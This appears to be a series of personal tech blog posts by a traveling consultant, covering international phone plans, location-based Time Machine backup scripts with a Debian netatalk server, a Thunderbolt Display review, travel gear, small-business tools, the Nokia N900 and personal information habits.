I do some averages to hide our customer’s privacy and locations. It also helps for those not traveling to a single country, but rather across many different places. I think this more reflects the average traveler who is taking a European cruise and starts in the Netherlands and ends up in France/Germany/Belgium/etc.

The other oddball out here is I include the Tmobile Blackberry plan. It is so drastically different due to the rate structure I feel it important for comparison.

Links to each vendors international information:

• Sprint
• Verizon
• Tmobile
• AT&T Wireless

GR&A

My ground rules and assumptions for the table are as follows:

1. You have a locked phone to the carrier listed
2. You use on average ~800 MiB of data per month for standard business communications
3. You want EVERY international option for calls/txt rates

General Findings

• They all suck.
• Force yourself to use a blackberry and you can get out pretty cheap with Tmobile, but be 100% your data is BIS related or your screwed
• Tmobile has Wifi calling built into many of their phones which can save you some heartache
• Use Google Voice to save some more money
• HOLY TOLEDO BATMAN some of the costs here are more than a nice car

Rankings by price per month

1. Tmobile Blackberry Plan which only helps with data. If you are wanting to use voice abroad you better get ready for some hurt. My voice alone last month was 550 USD of the 700 dollar bill
2. AT&T Wireless 800MiB Plan with Options
3. Verizon with the 300MiB Plan with Options and Overages
4. Tmobile screwed over plan
5. Sprint screwed over totally

Link to Table of Data is HERE

Updated to include 300 minutes of voice HERE

The Ingredients:

1. Apple Thunderbolt Display
2. MacBook Air 11″
3. OS X 10.7 Lion which added the tmutil command
4. Iomega eGo USB Drive
5. Debian 6.0 Server with oodles of encrypted disk space
6. Gigabit network
7. ControlPlane for geolocation detection

Secret Magic Scripts:

First we need to create a HOME script. This will be called when the MacBook Air detects that it is on a super-fast connection instead of that yucky Wifi.

sudo vi /opt/local/bin/switchtimemachinehome.sh

#!/bin/bash
#This will change your Time Machine setting the backup to your home server
sleep 5
tmutil setdestination afp://username:password@10.10.10.1/TimeMachineNAS/
sleep 5
tmutil startbackup

Obviously you will want to modify the username:password and destination. Something that will trip you up (hopefully) is your complex password does not work in the URL. If this is the case then please use the below AppleScript to modify it for you. Standard POSIX/UNIXy type things do not work.

Open AppleScript Editor and put in the following and run

set theText to "I want to pass this text, via GET, to a url!"
set theText to text returned of (display dialog "encode what" default answer theText)
set theTextEnc to urlencode(theText) of me
display dialog theTextEnc default answer theTextEnc

on urlencode(theText)
set theTextEnc to ""
repeat with eachChar in characters of theText
set useChar to eachChar
set eachCharNum to ASCII number of eachChar
if eachCharNum = 32 then
set useChar to "+"
else if (eachCharNum ≠ 42) and (eachCharNum ≠ 95) and (eachCharNum < 45 or eachCharNum > 46) and (eachCharNum < 48 or eachCharNum > 57) and (eachCharNum < 65 or eachCharNum > 90) and (eachCharNum < 97 or eachCharNum > 122) then
set firstDig to round (eachCharNum / 16) rounding down
set secondDig to eachCharNum mod 16
 

if firstDig > 9 then
set aNum to firstDig + 55
set firstDig to ASCII character aNum
end if

if secondDig > 9 then
set aNum to secondDig + 55
set secondDig to ASCII character aNum
end if
 

set numHex to ("%" & (firstDig as string) & (secondDig as string)) as string
set useChar to numHex
end if
set theTextEnc to theTextEnc & useChar as string

end repeat
return theTextEnc
end urlencode

After that we need to give ControlPlane something to call when we are on the road and have nothing but that simple USB drive we lug around.

sudo vi /opt/local/bin/switchtimemachinemobile.sh

#!/bin/bash
#This will change your Time Machine setting the backup to your home server
sleep 5
tmutil setdestination /Volumes/RubbageHolder/
sleep 5
tmutil startbackup

Lets now make both files executable or the scripts will fail

sudo chmod +x /opt/local/bin/switchtimemachinehome.sh

sudo chmod +x /opt/local/bin/switchtimemachinemobile.sh

Letting the Penguins talk to the Fruit:

In order for our Debian server to be useful we need to give it a secret decoder ring. This means installing some software and announcing itself a certain way for the Mac machines to recognize it as a Mac Server. You can also do this with a standard Mac server, but I prefer my servers to be Linux/BSD based. NOTE: If you are securing your backups using encrypted USB drives, but fail to encrypt your home NAS – SHAME ON YOU! So lets get started by issuing a SSH to our home server.

1. sudo apt-get install netatalk avahi-daemon
2. sudo vi /etc/netatalk/AppleVolumes.default
3. Add the line: /share/Backup           “TimeMachineNAS”         options:tm to the end of the file

<?xml version="1.0" standalone='no'?><!--*-nxml-*-->
<!DOCTYPE service-group SYSTEM "avahi-service.dtd">
<service-group>
<name replace-wildcards="yes">%h</name>

<service>
 <type>_afpovertcp._tcp</type>
 <port>548</port>
</service>

<service>
 <type>_device-info._tcp</type>
 <port>0</port>
 <txt-record>model=Xserve</txt-record>
</service>

<service>
 <type>_adisk._tcp</type>
 <port>9</port>
 <txt-record>sys=waMA=00:00:00:00:00,adVF=0x100</txt-record>
 <txt-record>dk0=adVF=0x83,adVN=TimeMachineNAS</txt-record>
</service>

</service-group>

Convince the Mac its right at home:

To convince the Mac machine that its talking to an approved machine we have to open a Terminal and type in the following command: defaults write com.apple.systempreferences TMShowUnsupportedNetworkVolumes 1

Location, Location, Location:

The next few steps are important and complicated, but its the logic we assign to your Mac to know which location it is in. ControlPlane can provide many rules to determining location such as network adapter, bluetooth, time of day, etc. Since I have that spiffy new Thunderbolt Display I am lucky enough to have a guaranteed en3 network adapter each time I plugin. Your adapter may vary, but the logic in the following screenshots states: IF en3 (Display Adapter) is active THEN assume the location of the laptop is home. Inversely if en3 is not active then assume the machine is away. For me this works great for when the laptop is upstairs, but still in the house. I obviously wouldn’t want to backup 256GiB over the wifi link.

1. Open ControlPlane and ensure that it is started at login and that Enable automatic switching is in use

2. Under evidence sources ensure that NetworkLink (or whatever you are using as the rule indicator) is checked

3. Create two new Contexts; Home and Away

4. Click the “+” and add a new rule

5. First rule states the en3 link is active and context is HOME

6. Next create an en3 is INACTIVE rule and assign it to Away. Your Rules screen should look like the below

7. With rules and contexts in place we can assign actions to those Context by executing our shell script switchtimemachinehome.sh on Context Home…

8. And executing shell script switchtimemachinemobile.sh on Context Away

Display

I am going to focus on the docking capabilities and desk integration more than the monitor itself. It is an LG Display that is beautiful. There is nothing I can say that other reviews have not already. Its beautiful and soaks up the entire desk with its size. In standard Apple fashion it is beautifully engineered and designed. Matches the sexy look of the MacBook Air for sure.

Cables

The monitor has a single cable attached permanently  to the back with the power cable being removable. Soon as I lifted it from the box I knew this would be a long-term issue as it caught to my belt loops. The cable attached is the MagSafe connector and Thunderbolt link for the laptop. My concern stems from this being the single cable with the most movement and use as the laptop is attached and removed. How many times have you found an old CRT with the VGA cable frayed and attached to the monitor? Other than this small concern the cables are sufficiently long to put your laptop around a desk in multiple places without too much taunt. I wish the thunderbolt/magsafe was a little more loose, but I can deal with it for now with some cable management. Just be aware that it isn’t as straight and laying flat as Apple’s pics would have you believe out of the box.

Ports

FINALLY! I get home from work/travel, take the laptop out, plug in to easily accessible cables and get to work. Before the purchase I would hunt down the cables that fell below the desk and pull out multiple USB hubs to connect everything. The most transfer speeds I could get via my USB ethernet adapter were not enough to justify the cable many times. Now though, Jumbo Frames on Gigabit Ethernet! Firewire 800! Das Keyboard! I finally feel like the Air is my primary machine and it doesn’t require me to strew cables across everything.

Speakers

They suck. Good enough, but don’t expect to rock out to them. Passable for VOIP conference calls.

iSight HD

The camera on the MacBook Air is the lower resolution camera vs. the HD version found on the rest of the lineup. The camera is MUCH MUCH better. Also having the camera on your primary monitor does away with the side-of-face view many of my business associates experienced. The microphone also seems much more capable of picking up my voice for calls which is nice for someone who spends a lot of time on VOIP calls.

Gaming

The laptop is incapable of driving both its internal monitor and external display at native resolution. When gaming with Civ IV or DoD:Source I have to step the resolution down to 1366×768 (native of the Air) to get any decent performance. I don’t do a lot of gaming, but it is nice to get online and frag my little brother from time to time. I am sure the display would be fine with an upgraded GPU.

Going Green

Before this purchase I literally had 4 computers and 3 monitors on standby at anytime. Now the power is just my monitor and laptop. Also the monitor is more integrated into the ecosystem of Apple so when I put things to sleep they all go to sleep rather than bits and pieces. I don’t measure the power per device (out of fear more than anything) but I can wager that I am saving some money on my power bill for sure.

Before and After

Laptop

I live on my laptop while on travel. My requirements were:

1. It always work when I open the lid
2. No moving parts to have break
3. Run UNIX
4. Fit on a Coach class seat tray
5. Be less than 3 pounds
6. Bring back my lovely memories of the Powerbook 12″
7. 1366×768 resolution

11" MacBook Air Max

The MacBook Air was the best fit for me. There are cheaper laptops for sure, but I wanted quality engineering and a well built machine that could standup against my schedule. The screen is beautiful and the machine is small enough to be tossed in the bag while sitting down on a plane for landing. I am truly in love with this machine and over the past year put some wear and tear on it.

11" MacBook Air Speck Case

I have a customer who says that Apple Laptop owners protect their laptops more carefully than others. We have keyboard protectors,arm rest pads, and cases. He might be right, but I think the cases go a long way in protecting the investment. Its easier to replace a Speck Case and Moshi armpad than it is to buy a new laptop.

I swear by the Speck Cases which work very well on the MacBook Air. It isn’t as solid as one would hope, but it does help with protecting it against the various scratches and dents I would inevitably have.

 Tablet

The iPad is one of those devices I never realized I needed till I had one. The battery life is amazing and the ability to view emails, documents, tech manuals, etc. has saved me countless hours. It is small enough that sitting in a taxi I can pull it out for a quick thought or edit.

Apple iPad2

I chose to purchase a iPad2 16GiB Wifi only instead of the more expensive models. The reasons were that felt the the 3G was not needed in Europe and hotels with the prevalence of Wifi and the 16GiB at the time seemed like a good idea as I store a ton in the cloud. Looking back I would jump for more storage as the cloud is not accessible when you are in the clouds…

In a later post I will cover the Apps I swear by for travel, but needless to say I run my business off this thing. In addition I enjoy the ability in iOS 5 to do encrypted/signed emails, encrypted storage, and remote wipe.

MacAlly Dualstand2

Like the MacBook Air, I put a case on my iPad. I’d say partially for protection, more for daily use. I use the fantastic Air Display App to use my iPad as a second monitor on my travels, but without some stand it was near useless. The HTC Evo back home made me accustom to having a kickstand to prop up my devices. The MacAlly Dualstand 2 case was a great addition as it protects the back, has 2 heights for propping up, and is yellow. The color at first was a little discomforting, but the brightness allows me to find it in low light condition which has been nice in dark airplanes and hotels.

Boxwave Stylus

I didn’t like the thought of taking down customer information in something that was so easily read. The Boxwave Stylus and any of the various note taking applications has allowed me to replace my unsecure Moleskins with a note taking machine.

 Security

When you are traveling across multiple international borders it is important to secure your data. In addition to your personal information you are carrying your customers’ and should treat it with a heightened level of control. The laptops in our company are configured to comply as closely as possible to the DISA STIG guidelines for the applicable OS. We disallow unencrypted storage on both internal and external storage also.

I use LastPass to generate one-time passwords for all my websites and documents. This way one leak or break-in does not compromise the rest of my net. If you search my blog you will see more lengthy posts on the usage, but the short end is that LastPass is cross-platform, works within a browser, and despite some questionable security issues in the past does a decent job.

Yubikey

I at one point was a very big user of Dropbox, but their recent actions have forced me onto another service. Having to encrypt prior to transmission negated the things that made Dropbox great. Luckily there are other services that have stepped up that provide a similar level of syncing without the security fail of Dropbox. I settled on Spideroak for keeping the laptop synced with my desktop and fileserver back home. It isn’t as seamless, but it is more secure and works in all the OS I care about.

IronKey USB Drive

When the cloud isn’t there and I need to backup something I use my Ironkey. It is Military Grade built meaning water, stress, heat, etc.are no issues. In addition the encryption software works without Admin rights on Mac, Windows, and Linux machines. I use it to store my important documents that if I lost my everything it would be in my pocket ready to get me out of some country. Skip the Sandisk software encryption and go with hardware if you can. They are expensive, but I value my data in this form factor.

For traversing foreigh networks I use a mixture of colocated servers and Amazon EC2 in various countries to ensure that no matter what “Great Firewall” might be in use I can tunnel my way out. My home server has a hosted DNS server allowing me control of my A-Records so that I can use DNS tunneling in addition to SSL/SSH. Last ditch effort is ICMP tunneling, but I have found very few places SSH or OpenVPN wasn’t sufficient. The first thing I do on any connection is VPN home before exchanging information. You can’t take big risks on foreign wifi access points.

Iomega eGo

Lastly you should always follow a 3-2-1 backup strategy even when on the road. My data is stored locally on the laptop, in the cloud, and on an Yubikey authenticated encrypted external hard drive. I picked the external drive most able to sustain abuse much like the IronKey. After doing some research (specifically watch this Popular Mechanics video - best quote: Survived a 15 ft. drop on concrete and the crushing weight of a Chevy Tahoe.) I ended up with an Iomega eGo 1TiB drive. While the laptop is unable to take advantage of its USB 3.0 speed, it is able to power it with one USB port. It serves as my TimeMachine backup drive and for some very large programs that just make very little sense to store on the storage limited SSD in the laptop.

When I am traveling the laptop and hard drive never travel together. One is in my carry-on and one is checked so that if either disappears my data is still in 2 other locations. A month ago I suffered a failure on the laptop (not really though, I was being dumb) and was able to take my external hard drive and, using the Apple Time Machine utilities during install, restore my “laptop” to a spare mac mini. The peace of mind of being able to run to an Apple store, buy any laptop, and be back online within an hour or two makes it worth the pains of this backup strategy.

Power on the Go

The only thing worse than being in an airport or hotel room, is being there watching your batteries slowly drain as you desperately try to get that one last email out.

Kensington Travel Inverter

Some of the newer planes and cars have standard wall sockets in the seats or consoles. This, next to airborne wifi, is the greatest thing ever. Every so often though I run into some means of transportation with the traditional connectors or in some car I wish to charge both the iPad and phones. The Kensington Inverter is the best device I have used thus far. Small and built like a brick it is able to charge the laptop and a few devices at once while staying relatively cool.

Tripshell International Adapter

When you finally get to your hotel room you will need some converter for whatever country you are in. In the past I carried multiple adapters for each country which meant I often lost them or they broke. With the Tripshell World Adapter I am covered for 90% of the countries I visit. In addition to being a converted two ways (European plugs into American sockets as an example) it also has a fuse for protecting those valuable electronics.

Quirky PowerCurl

The MacBook Air power adapter is very compact as is. The corporate guys are always amazed to see how tiny it is compared to their Dell/HP/etc. laptops. In addition the switchable adapters for long length or short is useful when trying to keep the wires managed. The legs that allow you to wrap up the excess is even more ingenious. Truth be told though, when I am in the airport I don’t want to deal with unraveling and switching adapters. At the same time I want to have the ability to wrap up the excess cord as I do when I traditionally flip up the legs. The Quirky PowerCurl is one product that has saved me tons of heartache with reaching for the last power socket. In addition it keeps my power adapter cleanly wrapped for storage in my bags.

Creature Comforts

The next few items aren’t requirements, but they do make my travels more comfortable.

Timbuk2 Command

The Timbuk2 Command Laptop bag is such a great carry-on companion. Lots of pockets, well made, and plenty of storage for all my geeky toys it has served me well. It also is TSA approved so when I am making my way through security it is very simple for me to lay it flat and never have to remove the laptop or tablet. It doesn’t look too unprofessional is passable to carry into a board room without feeling goofy. It is a little more pricey for what you are getting, but it is justifiable for the quality of the product in my opinion.

ZuniConnect 150

Some wifi services still to this day only allow a single MAC registered to the acces point. This means that my phone, ipad2, and whatever else feels left out when I am in the hotel room. I used to carry a router for sharing a 3G connection, but it only had one Wifi radio which didn’t help me. The ZuniConnect allows me to (powered via USB port mind you) connect to the pay-for wifi and then share it to my own private wifi network. The device is small, comes with a case, and if wall powered can charge 2 devices via USB. The device pays for itself after one long stint of travel.

Kensington USB Mini Dock

The MacBook Air, while a great laptop is short on USB ports. Also it is short on Ethernet ports. The best adapater I have found to date is the Kensington USB mini dock with Ethernet. It requires no drivers in MacOSX and is as simple as plugging in. When I have large transfers with clients or am in a secure location with no wifi it has saved me. Without power and simply plugged into the USB port it will allow for Ethernet and a single USB keyboard to operate. The adapter is rated for 220 so plugging it in to the wall jack is no issue. Price is cheaper than purchasing the equivalent USB NIC from Apple or NewEgg.

Rowenta Classic Travel

Lastly for my appearance I love a fresh ironed getup. Us Americans are spoiled that almost every room and hotel has an iron and ironingboard in the room. In Europe and the Middle East this is NOT the case. Either it is a shared non-steam iron in the hallway closet or the one they bring to your room is rusty and a mess. I couldn’t deal with it any longer and instead opted to purchase the Rowenta Travel Iron. Oh gosh how I love it…seriously it is the best little device to let this prior-military man continue to look sharp when shoving 10 days into a carry on suitcase. In addition the steaming and 110/220 switch means I am always able to use it.

Legal Formation:
Legal Zoom allowed us to establish a LLC for less than 600 dollars…expedited…The process was seamless and the product delivered (namely the official stamper which is loads of fun) met our immediate needs to become registered with the proper govt. agencies. Total Cost: Less than 600 dollars for NJ

Email/Calendar/Address Book/Intranet:
I am not sure if there is any other option that Google Apps. Google has showcased its willingness to embrace small business by offering free accounts and large marketplace support for Single-Sign On (SSO) applications. In addition they have recognized the need for multi-factor authentication and provided OpenID capable portals and tokens for phones. The idea of running my own server in a data center or at the house seems archaic. Living in a dependable cloud ensures we hit the availability numbers necessary to be successful. Total Cost: Free for 5 users

Book Keeping/Invoicing/Payroll:
I hate Intuit. We should start there as its a great pretense for why we went with them. In the face of countless other great options we quickly realized that industry standards and interoperability mattered more to us than the pure hate in our hearts. QuickBooks Online allows us to do payroll, invoice, and book keeping from a single application that supports iPad and other mobile apps. The key take-away was an integrated solution that we could export data and hand over to the thousands of quickbooks familiar CPA come tax season. Total Cost: 69 dollars a month with 30 days free

Small Business Banking:
Bank of America is also not one of my favorite companies. After comparing the services and capabilities we simply landed with what fit best. Their small business centric products and support for small lines of credit offered us the opportunity to grow ahead of that Net-30 Dragon. Total Cost: Fees are associated with the quantity of money kept with them. Also Credit Card rates vary

Trip Planning:
We are an international business from Day-1. My co-founder and I both come from large defense contractors where picking up the phone the night before corporate travel was not uncommon. Realizing that we were more than capable we moved to Web Based solutions. With Kayak and TripIt we are able to book affordable travel and automate team location coordination. Both integrate well into the Google Apps space. Total Cost: Free, but Business Plans for add-ons have additional costs

Expense Tracking and Submission:
Expensify was the easiest way to integrate with Google Apps and provide a decent work-flow for submission of travel reports by our employees. The categorization and pretty reports are perfect for shipping off to our customers for invoicing. Total Cost: Free, but Business Plans for add-ons have additional costs

Teleconferencing:
Sorry Twit.tv network and Leo, but GoToMeeting just wasn’t cheap enough or extensive enough to support the multiple OS and platform in use by our teams. Fuze Meeting on the other hand was cheaper and met our technical requirements. The Skype, Linux, Google Apps, and international dial-in support sealed the deal. Total Cost: 39 dollars a month for unlimited meetings. International dial-in #’s and additional features have associated costs.

Templates:
T&M Contract? Site agreements? NDA? So many documents we used to having at our disposal are gone when you venture on your own. DocStoc has given us a repo to share and pull from. It can be difficult to find “useful” templates as they just scavenge the inter tubes for documents, but there are some very nice ones in the piles of rubbish. Total Cost: 11 dollars a month

International Plans:
We are recommending the purchase of unlocked quad band phones. This allows our employees to be in any country and purchase a pre-paid SIM to keep in touch with. The phone isn’t the best option as the cost of data and voice is still extremely expensive. It is a necessary evil at this point until Wifi or data-only plans become prevalent. Side note: Tmobile and AT&T you both suck. 3 dollars a minute for some VERY common countries?!? Total Cost: Passport Plus depending on options is around 50 dollars

Voice/Video conferencing:
If we aren’t using Fuze Meetings and the meeting happens to be my partner and I just working on some contracts, Skype is hard to beat. The latest versions addition of screen-sharing make it that much simpler to quickly setup a call or chat. We are looking to move to XMPP/SIP based systems in the future due to multi platform support, but for now its the recognized standard. With that said…Skype 5 on Mac is an abomination and I hate whichever UX designer thought this was a good idea: Total Cost: Free

Information Technology:
In a broad description these are the bits and pieces of IT stuff required to perform work. As a big geek it always bothered me that my tools were dictated to be efficient with that work. CTO/CIO are obviously troubled at the idea of supporting multiple platforms and baselines, but for a specialized engineering firm like ours it is less of an issue. Instead we took a “requirements drive design” approach and set criteria your IT stuff must support. File formats, tools listed above, security constraints, etc. Also we made it very clear that the IT must never be in the way of completing work in a timely fashion. In return for the ability to pick your toolbox, we expect you to comply with the requirements and provide a stipend to keep your tools fresh. A side-note here is that Google fell flat on this requirement. Security is VERY important to us and the fact Android phones lack basic encryption makes them a non-starter. Ice Cream I hear might fix this, but until it does we cannot recommend or reimburse folks for the ability to carry our companies data on them. Total Cost: Stipend to employees

Document Collaboration:
Google Docs is amazing for simple documents. We are beginning to question the long-term usage due to some of the sizes and complexity of files we produce, but for now it is a good revision controlled document system. Total Cost: Free

That is all I have for now. I am on a flight with no wifi, but power receptacles, so I wanted to type this while fresh on my mind. Hope this helps other entrepreneurs out there.

With the issue above I went searching for an unlocked cell phone. My requirements were pretty simple:

1. Smartphone capabilities (email, calendar, browser, SSH client, etc.)
2. World GSM bands supported
3. Wifi hotspot capable
4. Support SSH tunnels and VPN connections
5. Encryption
6. Under 300 dollars

To be honest my first choice was to go with a used iPhone 3GS, but the more research I did the worse an idea it seemed. While traveling the last thing I want to do is be part of the cat and mouse game that is Apple vs. Hackers. Unlocking an iPhone of that era is not difficult, but why would I purchase something I knew would require serious hacking to make useful?

Android phones seemed like the next obvious choice, but here is the thing. The phones for that price range are cheap and I don’t feel comfortable carrying them. The Evo I know carry is serving as nothing more than an access point for my laptop and iPad. Reason is that in the year 2011, I still cannot get device encryption on my phone. Carry my personal data on that? HELL NO

Lastly I looked at Blackberry/WebOS/Feature Phones. Each had their own issues with either cost or performance. My choices were beginning to look very limited. It was then my geek mind wandered to a day of yore when I was given a demo unit from Nokia. The N900 was a hackers dream, but didn’t fit into my current needs back then. With Nokia basically abandoning the platform it is for all intensive purposes a sinking ship, but one that the hacker community has blueprints for. One of the benefits of this sinking ship is the phones go for well under 300 dollars on eBay and Amazon. So lets take a look at my requirements diff’d against it:

1. Smartphone capabilities (email, calendar, browser, SSH client, etc.) – Very capable device that is receiving updates for updated protocols and standards due to the similarity with various freedesktop.org standards
2. World GSM bands supported – Isn’t going to support 3G with AT&T, but for pre-paid SIM stateside your best bet is Tmobile anyways
3. Wifi hotspot capable – You can use the pretty GUI from JoikuSpot or drop to a terminal on the phone and setup one the same way you would on a Linux desktop
4. Support SSH tunnels and VPN connections – Supports it better than any other platform to date. Full kernel access ensures that the complexities of building TUN/TAP adapters on iOS/Android are not applicable
5. Encryption – The encryption at this point is not “Whole Disk,” but it is standards supported. Truecrypt and CryptSetup work great. Since it is just Linux you can symbolic link your way into an encrypted Home Folder.
6. Under 300 dollars – Very easy find on Amazon/Ebay/Craigslist

So here I am 2 years after the n900 was released buying one for unlocked usage. My mind is at ease of its continued use due to the awesomeness of the developers and community. With the phone just being Linux underneath it is very easy to keep it living beyond the life of support from Nokia. There are multiple efforts afoot to keep the code-base current such as Maemo Community CSU and Meego ARM n900 Port. I will write up some howto to bring the phone as close to 2011 standards as possible in the coming weeks. Just call me Captain of the Sinking Ship

From the time I carried my fathers forgotten Palm or Casio PDA, I have always had some sortof technology in my pocket. When the connected PDA and first smartphones began to hit the market I scrounged what little funds I had to acquire one. There is no other device that  is more of a  knowledge force multiplier. Being able to find old emails, read RSS feeds, and query my second brain AKA the Internet made my moments in line at the store or riding around town filled with information consumption. In the military I was given the blackberry to the left and it changed everything. I always had issues with organization and keeping appointments. No longer! Today I am glued to my HTC Evo 4G most of my waking moments to ensure I am responsive to my clients and friends. In addition it downloads all my news and information for O2G access.

One of my favorite activities is diving into technical manuals and white papers. Many of my clients and coworkers can attest to me awake at 1am reading through some material and having that “AHA!” moment and sending them a fix. In the early days of my life I carted a few hundred pounds of books around, but that isn’t needed anymore. Truth be told, books are no longer that necessary. Between Instapaper and eBooks I am set. The long form articles on my favorite websites mixed with the ability to search some command or term through a few hundred PDF’s make me a knowledge machine. I have gone through every eBook technology, but have finally settled on the iPad as my reading consumption device. The SoftBook reader I started with provided much better reading clarity, but at the expense of PDF rendering and multi-application usage. Part of being a young business geek is mobility and having a single purpose device just doesn’t work anymore.

My vehicles all have bluetooth for stereo or iPods for a very simple reason, podcasts. Ever since I start with Juice on my linux box years ago I was hooked. It started as a way for me to connect and listen to other like-minded geeks. When I was a teenager I did a local radio show focusing on technology every so often, but specifically I was the “Linux” guy. Before podcasts unless you happen to catch me on those rare Saturdays, there was little opportunity for you hear the latest news. Even then if you happen to catch the show I wasn’t able to dive into the gory details of Linux kernel or latest GTK releases. Podcasts changed all of that. Every night my devices download the latest and greatest Economist, tons of TWIT stuff, This American Life, NPR Planet Money, BBC Documentaries, Hardcore History, MIT Courseware, Philosophy Talk, and countless others. While walking to the metro or sitting at work I almost always have some podcast going. They allow me to absorb information while multi-tasking and completing other tasks. Also due to the extensive selection I am able to broaden my horizons by moving outside the mainstream and hearing other perspectives. In the business world this has afforded me a ton of kudos. “That contract won’t hit there because the finance ministry is in utter-turmoil” makes you sound like a superstar.

It is embarrassing how much I use Google Reader. In fact thanks to their trending and analytics I can tell you I have read 2,240,432 items since 2006.  I have bounced on self hosting my RSS reader and using NetNewsWire, but always come home to Google. The API and integration with applications allows me to view and sync my feeds across all my devices. In a systems engineering perspective though Google Reader though is the tool, the requirement is information. For me to be beneficial to my customers I must always be aware of the latest and greatest. On top of general information, I add a multitude of political, religious, local, and hundreds others to my stream to compare. It is impossible to ingest news and data in a linear fashion. For example rather than “watching” television on a single station I am able to see every opposing view within seconds. Over the years I have also kept up with researchers and people I admire via RSS. The next time I see them I am able to know what their mind is focused on and make the best use of our engagement. “I loved your article on new network heuristics using more than just simple ICMP/SNMP, where do you think the technology will take vulnerability scanners?” Being able to showcase that you are aware of what the industry is doing, what they are doing, and that your time with them is important ensures you aren’t just talking about the weather.

I have no intention of starting an Operating System war, but I have to attribute my ability to stay connected to UNIX/Linux. With my Debian and OpenBSD home servers I am able to SSH, tunnel, VPN, manage, sync, and store my data securely. Even those items that I have moved into the cloud I still ensure I sync back to my home systems. Using a mixture of screen, bitlbee, tor, and links I am able to keep constant roaming communications with everyone. The prevalence of open-source gives me the ability to do this securely and from any device. Heck, even my Blackberry from work has a SSH Client. Numerous times I have been in situations where my ability to have constant and secure communications has saved us. “Oh noes! We can’t access this from here?!?” Then I step in with a UNIX platform and a comms link and fix it. Others argue that in fact its the ability to utilize remote services, but I’d argue that UNIX is the only intrinsically remote/secure way to do it.

Where were you when you found out Osama bin Laden was killed? I was sitting in bed with my iPad and twitter open. The pace at which information flows now is mind blowing. I believe this is why we see CNN and others just running shows around “trending topics” which is highly depressing. The edge has been lost and given to people willing to sort through the data. Between Reddit, Twitter, and Hacker News I am able to stay DAYS ahead of the mainstream and react before the masses have been made aware. You must apply some filters to the data as it is often streaming live to your device. For example when the riots began in Egypt and Iran there was a good bit of disinformation, but if you took it as a whole the picture made more sense. I can’t imagine relying on mainstream media to curate my information any more. The only reason I utilize news outlets like the Economist, BBC, or Al Jazeera is to dig deeper. Seeing pictures and video live from breaking news is great, but I go back to traditional media for the “what it all means” side. If you want to stay steps ahead of your peers these three sites will keep you there for tech, politics, and just about everything else.

At this point in life I cannot afford to hire an assistant and many close to me have made it clear they aren’t interested in pitching in :) Google Voice (tech hipster point – I was using it when it was Grand Central) has changed the way I think of mobile communications. No matter where my phones are I am able to get SMS, Voice Mail (transcribed!), and make calls with Google Talk. Everyone continues to see my single phone number and is no smarter to the fact I am not near a line. There are still a few rough edges, such as the feature-set and lack of strong applications for iOS or updated Android apps, but it doesn’t change the fact it is central to my daily life. On the fly recording, conference calls, and movement from one phone to the next keeps me in constant comms.

Last time I forgot an important date? NEVER…If it is on my calendar I am guaranteed to be there. My girlfriend is able to, at a moments notice, know if we are going to have time to go out or eat in. Friends are sent meeting invites to parties and meetings to make sure I am there on-time. In good humor they joke with me about my meticulous attention to sending meeting invites to the simple things, but I am sure deep down appreciate my timeliness. Do I need to send an invite to remind me you are coming to play basketball? YOU BETCHA! Between Google Calendar and Tasks I have a forward and reverse look at all important dates in my life. Before the advent of a central calendar I was tied to a single data point. Forgot your phone? Screwed. Forgot your day planner? Screwed. Forgot your girlfriend? Double in Trouble. Live alerts via javascript, SMS, and email ensure that I am not only on time, but usually early. The Air Force made damn sure I knew that on-time was late; 15 minutes early was on time.

I am going to let a secret out that my father taught me. It really ties into the last entry on Google Calendar, but expands beyond just reminders. When we work in business we often divorce the P&L, staffing profiles, and technology reports from the pure emotions of life. Many of my colleagues are very nervous about Facebook and other Social Networks. There is certainly some risk in being transparent to your staff and coworkers, but think of how much better a leader you are if you know the things that effect our lives outside of work. For example in the past when I was managing a highly mobile team I was able to see when my guys’ kid was having a birthday. Or see that his weekend was filled with an emergency due to some unexpected event and react. In a business sense none of that is suppose to matter, but imagine the look and relief in their voices when I called to tell them we could do without them for a few days to handle business at home. It was an amazing feeling to send some guy home for his birthday or anniversary even if he hadn’t told anyone. Sure I was cheating by using published data, but I did it to ensure my team was happy and getting the all to forgotten recharge time. Teams I no longer work with I still follow to see how their careers are blossoming, families growing, or their desire for another challenge working for me :)

This is a short sampling of what makes-up my process for staying savvy and connected. I am having such a hard time to decide where to cut off this list as there are so many more. Netflix, Skype, Amazon, Kayak, TripIT, etc. There are just a ton of things that make me incredibly connected and organized. The downside to all of this of course is I am LOST without an internet connection. Such are the things we give up to have a digital life.